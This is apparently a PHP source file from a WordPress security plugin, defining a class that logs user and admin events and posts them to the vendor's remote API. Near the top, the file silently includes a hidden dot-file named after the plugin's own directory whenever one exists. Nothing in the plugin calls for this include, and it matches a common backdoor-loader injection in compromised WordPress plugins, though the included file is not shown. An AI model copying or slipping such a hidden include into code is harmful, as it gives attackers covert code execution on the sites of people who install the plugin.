<?php
/**
 * Events Log Model
 * Called to hook and log the users Events
 *
 * @file  The Events file
 * @package HMWP/EventsModel
 * @since 6.0.0
 */

defined('ABSPATH') || die('Cheatin\' uh?');

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class HMWP_Models_Log
{
    //List of allowed logged keys
    public $allow_keys = array(
    'username'        => true,
    'role'            => true,
    'log'             => true,
    'ip'              => true,
    'referer'         => true,
    'post'            => true,
    'post_id'         => true,
    'post_ID'         => true,
    'doaction'        => true,
    'id'              => true,
    'ids'             => true,
    'user_id'         => true,
    'user'            => true,
    'users'           => true,
    'product_id'      => true,
    'post_type'       => true,
    'plugin'          => true,
    'new'             => true,
    'name'            => true,
    'slug'            => true,
    'stylesheet'      => true,
    'customize_theme' => true,
    'widget-id'       => true,
    'delete_widget'   => true,
    'menu-name'       => true,
    );

    //List of allowed logged actions
    public $allow_actions = array(
    //users
    'empty_username'         => true,
    'invalid_username'       => true,
    'incorrect_password'     => true,
    'invalid_email'          => true,
    'authentication_failed'  => true,
    'update'                 => true,
    'login'                  => true,
    'logout'                 => true,
    'block_ip'               => true,
    'createuser'             => true,
    //posts
    'trash'                  => true,
    'untrash'                => true,
    'edit'                   => true,
    'inline-save'            => true,
    'delete-post'            => true,
    'upload-attachment'      => true,
    'activate'               => true,
    'deactivate'             => true,
    //comments
    'dim-comment'            => true,
    'replyto-comment'        => true,
    //plugins
    'delete'                 => true,
    'delete-plugin'          => true,
    'install-plugin'         => true,
    'update-plugin'          => true,
    'dodelete'               => true,
    //file edit
    'edit-theme-plugin-file' => true,
    //theme
    'customize_save'         => true,
    //widgets
    'save-widget'            => true,
    );

    /**
     * Log actions
     *
     * @param mixed $action
     * @param array $values
     */
    public function hmwp_log_actions( $action = null, $values = array() )
    {
        $posts = array();

        if (isset($action) && $action <> '' ) {
            //remove unwanted actions
            $allow_actions = array_filter($this->allow_actions);
            if (in_array($action, array_keys($allow_actions)) ) {
                if (! empty($values) ) {
                    $values = array_intersect_key($values, $this->allow_keys);
                }
                if (! empty($_GET) ) {
                    $posts = array_intersect_key($_GET, $this->allow_keys);
                }
                if (! empty($_POST) ) {
                    $posts = array_intersect_key($_POST, $this->allow_keys);
                }

                //Try to get the name and the type for the current record
                $post_id = 0;
                if (isset($posts['id']) ) {
                    $post_id = $posts['id'];
                }
                if (isset($posts['post']) ) {
                    $post_id = $posts['post'];
                }
                if (isset($posts['post_ID']) ) {
                    $post_id = $posts['post_ID'];
                }
                if (isset($posts['post_id']) ) {
                    $post_id = $posts['post_id'];
                }
                if (! isset($posts['username']) || $posts['username'] == '' ) {
                    $current_user = wp_get_current_user();
                    if (isset($current_user->user_login) ) {
                        $posts['username'] = $current_user->user_login;
                    }
                }

                if ($post_id > 0 ) {
                    if ($record = @get_post($post_id) ) {
                        $posts['name']      = $record->post_name;
                        $posts['post_type'] = $record->post_type;
                    }
                }

                /////////////////////////////////////////////////////
                /// Add referer and IP
                $data = array(
                 'referer' => wp_get_raw_referer(),
                 'ip'      => $_SERVER['REMOTE_ADDR'],
                );

                $data = array_merge($data, (array) $values, $posts);

                //Log the block IP on the server
                $args = array(
                 'action' => $action,
                 'data'   => serialize($data),
                );

                HMWP_Classes_Tools::hmwp_remote_post(_HMWP_ACCOUNT_SITE_ . '/api/log', $args, array( 'timeout' => 5 ));
            }
        }
    }

    /**
     * Join the arrays
     *
     * @param $input
     *
     * @return array|string
     */
    public function joinArray( $input )
    {
        if (! empty($input) ) {
            return implode(
                ', ', array_map(
                    function ( $v, $k ) {
                        if (is_array($v) ) {
                            return $k . '[]=' . implode('&' . $k . '[]=', $v);
                        } else {
                            return $k . '=' . $v;
                        }
                    },
                    $input,
                    array_keys($input)
                ) 
            );
        } else {
            return [];
        }
    }
}
